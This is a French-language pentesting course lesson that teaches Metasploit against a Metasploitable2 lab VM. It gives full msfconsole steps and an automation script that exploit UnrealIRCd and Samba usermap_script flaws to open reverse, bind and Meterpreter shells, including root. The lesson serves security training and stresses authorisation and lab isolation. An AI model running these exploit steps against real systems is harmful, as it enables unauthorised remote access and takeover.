🎯 Objectif de la semaine
Maîtriser Metasploit Framework pour exploiter une vulnérabilité connue et obtenir votre premier shell distant. Comprendre l'architecture modulaire, configurer correctement les exploits et payloads, et gérer des sessions - première expérience contrôlée de l'exploitation éthique.
Moment historique : Cette semaine, vous passez de "je comprends les vulnérabilités" à "je les exploite". C'est le point de basculement entre la théorie et la pratique offensive.
Metasploitable2"] --> B{"⚡ Metasploit Framework"} subgraph "📁 Modules Metasploit" C1["💥 Exploits
+2,000 modules"] C2["📦 Payloads
Bind/Reverse/Meterpreter"] C3["🛠️ Auxiliary
Scanners, Fuzzers, DoS"] C4["🔀 Encoders
Évasion antivirus"] C5["📋 Post
Post-exploitation"] end subgraph "🎯 Workflow d'exploitation" D1["📥 msfconsole"] D2["⚙️ Configuration"] D3["🚀 run / exploit"] D4["🎪 Shell obtenue"] end B --> C1 B --> C2 B --> C3 B --> C4 B --> C5 B --> D1 B --> D2 B --> D3 B --> D4 C1 --> E["🔓 Vulnérabilité exploitée"] C2 --> F["💻 Code exécuté
sur la cible"] E --> G["🎯 Accès initial"] F --> G D3 --> G G --> H{"📊 Type de shell obtenu"} H --> I["🐚 Shell standard"] H --> J["🦎 Meterpreter"] H --> K["🔧 Shell interactive
(pty)"] I --> L["⚔️ Phase de Post-exploitation
(Semaines 18-20)"] J --> L K --> L style G fill:#ef4444,stroke:#000,stroke-width:3px,color:#fff style L fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style J fill:#00f5a0,stroke:#000,stroke-width:2px,color:#000 style A fill:#7c2d12,stroke:#f97316,stroke-width:2px,color:#fff style B fill:#1e3a8a,stroke:#60a5fa,stroke-width:2px,color:#fff
📚 Sujet – Théorie (1 heure)
Metasploit : Le couteau suisse de l'exploitation
Metasploit n'est pas un simple outil d'exploitation. C'est un framework complet qui standardise et automatise le processus d'exploitation, de la reconnaissance à la post-exploitation.
Les payloads : comprendre ce que vous exécutez
Le choix du payload est critique. Un mauvais payload = pas de shell, ou pire, crash de la cible.
🔗 Bind Shell
Fonctionnement : Ouvre un port sur la cible, vous vous connectez à lui
Avantages : Simple, pas de configuration LHOST
Inconvénients : Facile à détecter (nouveau port ouvert), bloque si firewall
Cas d'usage : Réseaux internes, pas de NAT/firewall
Exemple : linux/x86/shell_bind_tcp
🔄 Reverse Shell
Fonctionnement : La cile se connecte à vous sur votre port d'écoute
Avantages : Traverse mieux les firewalls, plus discret
Inconvénients : Nécessite LHOST accessible depuis la cible
Cas d'usage : Scénario standard, internet, réseaux avec NAT
Exemple : linux/x86/shell_reverse_tcp
🦎 Meterpreter
Fonctionnement : Shell avancé en mémoire (pas sur disque)
Avantages : Furtif, riche en fonctionnalités, chiffré
Inconvénients : Plus volumineux, nécessite stagers parfois
Cas d'usage : Pentest professionnel, maintien d'accès
Exemple : linux/x86/meterpreter/reverse_tcp
⚠️ Éthique et sécurité - Règles absolues
- Autorisation écrite : Jamais sans accord explicite
- Lab isolé : Toujours tester d'abord sur Metasploitable2 dans votre réseau Host-Only
- Documentation : Notez chaque commande, chaque résultat
- Impact minimal : Évitez les modules DoS, ne corrompez pas les données
- Nettoyage : Fermez les sessions, ne laissez pas de backdoors
Comprendre l'exploit UnrealIRCd
L'exploit que vous allez utiliser (CVE-2010-2075) est un classique pédagogique :
- Vulnérabilité : Backdoor intentionnelle dans le code source d'UnrealIRCd 3.2.8.1
- Mécanisme : Le serveur exécute toute commande précédée de "AB" sans authentification
- Impact : Remote Code Execution avec les privilèges du service IRC
- Leçon : L'importance de vérifier les sources des logiciels téléchargés
🔍 Anatomie de l'exploit Metasploit
Un module Metasploit contient :
- Métadonnées : Description, auteurs, références CVE
- Configuration : Options obligatoires (RHOSTS, RPORT) et optionnelles
- Fonction d'exploitation : Code qui envoie la charge malveillante
- Gestion de payload : Comment délivrer et exécuter le payload
- Gestion d'erreurs : Que faire en cas d'échec
🔬 Mission pratique – Laboratoire (2 heures)
🏁 Configuration critique : Votre lab DOIT être en réseau Host-Only. Vérifiez que Kali et Metasploitable2 peuvent se ping mutuellement mais n'ont PAS accès à Internet.
Étape 1 : Préparation et vérification
# Vérification de l'environnement
ip a | grep "inet " # IP de Kali (ex: 192.168.56.101)
ping -c 2 192.168.56.102 # Metasploitable2 doit répondre
# Vérification de Metasploit
msfconsole --version
sudo systemctl status postgresql # La DB doit être active
# Initialisation de la base de données (si premier lancement)
sudo msfdb init
sudo msfdb start
# Backup du lab (IMPORTANT)
# Dans VirtualBox : Snapshot → Pre-Exploitation-S17
Étape 2 : Premier contact avec msfconsole
# Lancement de Metasploit
msfconsole -q # -q pour mode quiet (moins de bannière)
# À l'intérieur de msfconsole :
# ============================
# 1. Exploration de l'interface
help # Affiche toutes les commandes disponibles
banner # Affiche la bannière (esthétique)
version # Version de Metasploit
# 2. Connexion à la base de données
db_status # Vérifie la connexion à la DB
workspace # Affiche l'espace de travail actuel
workspace -a PCTAMALOU_S17 # Crée un nouvel espace de travail
workspace PCTAMALOU_S17 # Bascule dessus
# 3. Import des données précédentes (optionnel)
# Si vous avez des scans Nmap/OpenVAS en XML :
db_import ~/nmap_scan.xml
services # Affiche les services importés
hosts # Affiche les hôtes connus
Étape 3 : Recherche et sélection de l'exploit
# Dans msfconsole :
# Recherche d'exploits pour Metasploitable2
search unreal_ircd
# Devrait trouver : exploit/unix/irc/unreal_ircd_3281_backdoor
# Recherche par CVE (depuis votre rapport OpenVAS S15)
search CVE-2010-2075
search CVE-2007-2447
search samba 3.0.20
# Affichage d'information sur un module
info exploit/unix/irc/unreal_ircd_3281_backdoor
# Notez : Description, auteurs, références, options requises
# Sélection du module
use exploit/unix/irc/unreal_ircd_3281_backdoor
# Prompt change : msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
Étape 4 : Configuration complète de l'exploit
# Dans le contexte de l'exploit :
# 1. Affichage des options
show options
# Options requises : RHOSTS (Remote Host), RPORT (Remote Port)
# Options optionnelles : diverses selon l'exploit
# 2. Configuration des options obligatoires
set RHOSTS 192.168.56.102 # IP de Metasploitable2
set RPORT 6667 # Port d'UnrealIRCd
# 3. Affichage des payloads disponibles
show payloads
# Liste des payloads compatibles avec cet exploit
# 4. Sélection et configuration du payload
set PAYLOAD cmd/unix/reverse
# Simple reverse shell en commandes Unix
# Configuration du payload
show options
# Notez les nouvelles options du payload : LHOST, LPORT
set LHOST 192.168.56.101 # IP de votre Kali
set LPORT 4444 # Port d'écoute local
# 5. Vérification finale
show options
# Tous les champs Required doivent être en vert (set)
# 6. Configuration avancée (optionnel)
set VERBOSE true # Plus d'information pendant l'exploitation
set ExitOnSession false # Ne pas quitter après une session
Étape 5 : Exploitation et premier shell
# 1. Vérification avant lancement
check
# Certains modules supportent check pour vérifier la vulnérabilité
# Note : Pas tous les modules ont cette fonction
# 2. Lancement de l'exploitation
exploit
# ou
run
# 3. Comportement attendu :
# [+] Started reverse TCP handler on 192.168.56.101:4444
# [+] 192.168.56.102:6667 - Connected to 192.168.56.102:6667...
# [+] 192.168.56.102:6667 - Sending backdoor command...
# [+] 192.168.56.102:6667 - Command shell session 1 opened
# 4. Vous êtes maintenant dans un shell !
# Le prompt change : C:\Windows\System32> (simulation) ou simplement #
# 5. Premières commandes de vérification
whoami
# Réponse : ircd (ou autre utilisateur)
id
# uid=105(ircd) gid=65534(nogroup) groups=65534(nogroup)
uname -a
# Linux metasploitable 2.6.24-16-server #1...
pwd
# /home/ircd/unreal3.2.8.1
ls -la
Étape 6 : Gestion des sessions
📊 Gestion professionnelle des sessions
# Dans le shell obtenu :
# Tapez Ctrl+Z pour mettre en arrière-plan
# Ou si cela ne marche pas, tapez simplement 'background'
# Vous retournez dans msfconsole
sessions -l
# Liste toutes les sessions actives
# Session 1 : 192.168.56.102:6667 → 192.168.56.101:4444 (ircd)
# Reprendre une session
sessions -i 1
# -i pour interagir avec la session 1
# Basculer entre sessions
# Ctrl+Z pour mettre en arrière-plan
# sessions -i 2 pour une autre session
# Interagir avec une session sans y entrer
sessions -c "whoami" 1
# Exécute whoami dans la session 1 sans y entrer
# Tuer une session
sessions -k 1
# Kill la session 1
# Mettre à niveau un shell en Meterpreter (si possible)
sessions -u 1
# Tente d'upgrader la session 1 en Meterpreter
Étape 7 : Expérimentation avec différents payloads
# Retour à l'exploit
back
# Vous quittez le contexte de l'exploit
# Essai avec un payload bind shell
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD cmd/unix/bind
set LPORT 5555 # Port à ouvrir sur la cible
exploit
# Si succès : bind shell sur 192.168.56.102:5555
# Essai avec Meterpreter (plus avancé)
back
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4445 # Un port différent
exploit
# Dans Meterpreter :
# meterpreter > help
# meterpreter > sysinfo
# meterpreter > getuid
# meterpreter > ps
# meterpreter > shell # Pour obtenir un shell standard
Étape 8 : Exploitation d'une seconde vulnérabilité
# Exploitation de Samba (CVE-2007-2447)
search samba 3.0.20
use exploit/multi/samba/usermap_script
show options
set RHOSTS 192.168.56.102
set RPORT 139 # Port SMB
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4446
exploit
# Notez les différences :
# - Port différent (139 vs 6667)
# - Mécanisme différent (Samba vs IRC)
# - Utilisateur obtenu (root vs ircd)
Étape 9 : Script d'automatisation et documentation
# Création d'un script d'automatisation
cat > metasploit_auto.rc << 'EOF'
# Script d'automatisation Metasploit - PCTAMALOU S17
# Usage : msfconsole -r metasploit_auto.rc
# Configuration globale
setg VERBOSE true
setg ExitOnSession false
# Exploit 1 : UnrealIRCd
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set RPORT 6667
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4444
exploit -j # -j pour jobify (tourne en arrière-plan)
# Exploit 2 : Samba
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set RPORT 139
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101
set LPORT 4445
exploit -j
# Liste des sessions
sleep 5
sessions -l
EOF
# Exécution du script
msfconsole -r metasploit_auto.rc -q
# Documentation des résultats
cat > exploitation_report.md << 'EOF'
# Rapport d'Exploitation - PCTAMALOU S17
## Date: $(date)
## 1. Cibles exploitées
### 1.1 UnrealIRCd (192.168.56.102:6667)
- **CVE**: CVE-2010-2075
- **Exploit**: unreal_ircd_3281_backdoor
- **Payload**: cmd/unix/reverse
- **Utilisateur obtenu**: ircd
- **Privilèges**: Bas (non-root)
- **Session ID**: 1
### 1.2 Samba (192.168.56.102:139)
- **CVE**: CVE-2007-2447
- **Exploit**: usermap_script
- **Payload**: cmd/unix/reverse
- **Utilisateur obtenu**: root
- **Privilèges**: Élevés (root)
- **Session ID**: 2
## 2. Commandes exécutées avec succès
- whoami, id, uname -a, pwd, ls, ps aux
## 3. Observations
- UnrealIRCd donne un shell ircd (limité)
- Samba donne un shell root (plein accès)
- Meterpreter fonctionne mais nécessite plus de mémoire
## 4. Recommandations
1. **Priorité**: Utiliser la session root (Samba) pour post-exploitation
2. **Sécurité**: Changer tous les mots de passe sur Metasploitable2
3. **Documentation**: Ces résultats servent de baseline pour les tests
EOF
Étape 10 : Nettoyage et bonnes pratiques
# Dans msfconsole :
# Fermeture propre des sessions
sessions -K
# Kill toutes les sessions
# Arrêt des jobs
jobs -K
# Kill tous les jobs en cours
# Nettoyage de la base de données
hosts -c address,os_name # Vérification
# hosts -d 192.168.56.102 # Pour supprimer si nécessaire
# Sortie propre
exit -y
# Vérification système après exploitation
sudo netstat -tulpn | grep 4444
# Aucun processus ne doit écouter sur vos ports d'exploitation
# Snapshot post-exploitation
# VirtualBox : Snapshot → Post-Exploitation-S17
🎯 Défi professionnel : Maître des shells
Sur Metasploitable2, réalisez les exploits suivants et documentez les différences :
- Obtenez 3 shells différents sur 3 services différents (UnrealIRCd, Samba, vsftpd)
- Pour chaque shell, notez :
- L'utilisateur obtenu et ses privilèges
- Les limitations du shell (pty? full shell?)
- La stabilité de la connexion
- Les commandes disponibles
- Créez un tableau comparatif des 3 méthodes d'exploitation
- Écrivez un script Metasploit qui automatise l'obtention des 3 shells
- Développez un guide "Cheat Sheet Metasploit" pour débutants
Livrable : Rapport complet + script .rc + cheat sheet.
📋 Objectif de la semaine – Validation des compétences
✅ Compétences techniques acquises
- Navigation et utilisation de base de msfconsole
- Recherche et sélection d'exploits appropriés
- Configuration complète d'un module (RHOSTS, PAYLOAD, etc.)
- Exploitation réussie d'au moins 2 services sur Metasploitable2
- Gestion professionnelle des sessions (list, interact, kill)
🧠 Mindset développé
- Compréhension de la différence entre vulnérabilité théorique et exploitation pratique
- Habitude de toujours documenter avant, pendant et après l'exploitation
- Conscience des privilèges obtenus (root vs user limité) et de leurs implications
- Approche méthodique : préparation → configuration → exploitation → documentation
🔮 Préparation pour la semaine 18 :
Vous avez maintenant des shells. La semaine prochaine, nous allons les utiliser pour faire des dégâts contrôlés (post-exploitation). Assurez-vous d'avoir :
- Au moins une session root active sur Metasploitable2
- Compris la différence entre shell standard et Meterpreter
- Une idée de ce que vous pourriez faire avec un accès root
- Votre lab toujours parfaitement isolé (Host-Only)
📚 Ressources avancées
Pour devenir expert Metasploit :
- Metasploit Unleashed : Cours gratuit complet d'Offensive Security
- Metasploit Documentation : Documentation officielle
- RTFM : Red Team Field Manual : Section Metasploit très complète
- Payloads.allthethings : Collection de payloads et bypass
⚠️ Pièges courants et solutions
- "Exploit completed but no session" : Vérifiez LHOST/LPORT, firewall, payload compatibility
- Session qui meurt immédiatement : Essayez un payload différent, vérifiez la stabilité
- Meterpreter qui ne marche pas : Certaines cibles n'ont pas les dépendances nécessaires
- Base de données corrompue :
sudo msfdb reinit(perte des données) - Slow performance : Augmentez la RAM de la VM, limitez les modules chargés
🐚 Frère d'armes,
Cette semaine, vous avez franchi un seuil historique : vous avez obtenu votre premier shell.
Ce n'est pas "juste" une ligne de commande. C'est une porte ouverte. Une faille théorique qui est devenue un accès pratique. Une CVE abstraite qui est devenue un utilisateur réel, des fichiers réels, un système réel que vous contrôlez.
Metasploit est la baguette magique qui a transformé votre connaissance en pouvoir. Mais souvenez-vous :
- Un magicien qui ne comprend pas ses sorts est un danger pour lui-même
- Un pentester qui ne comprend pas ses exploits est un script kiddie
- Un Gardien qui comprend ses outils est un professionnel
Vous avez vu la différence entre un shell ircd (limité) et un shell root (tout-puissant). Vous avez expérimenté la joie du "Exploit completed, session opened". Vous avez connu la frustration du "Exploit completed but no session".
Ces émotions, ces réussites, ces échecs - c'est l'apprentissage réel. La théorie dans les semaines précédentes était nécessaire, mais cette semaine, vous avez ressenti l'exploitation.
La semaine 17 marque votre passage du côté obscur de la force. Mais rappelez-vous la leçon de Yoda : "Once you start down the dark path, forever will it dominate your destiny."
Vous n'êtes pas sur le chemin obscur. Vous êtes sur le chemin du Gardien. Vous apprenez à ouvrir les portes pour prouver qu'elles étaient mal fermées, pas pour voler ce qui est derrière.
Votre premier shell est une victoire. Savourez-la. Documentez-la. Comprenez-la.
Puis préparez-vous. Parce qu'un shell n'est que le début. Maintenant que vous êtes à l'intérieur, il faut savoir quoi faire.
La post-exploitation commence bientôt.
— Platon-Y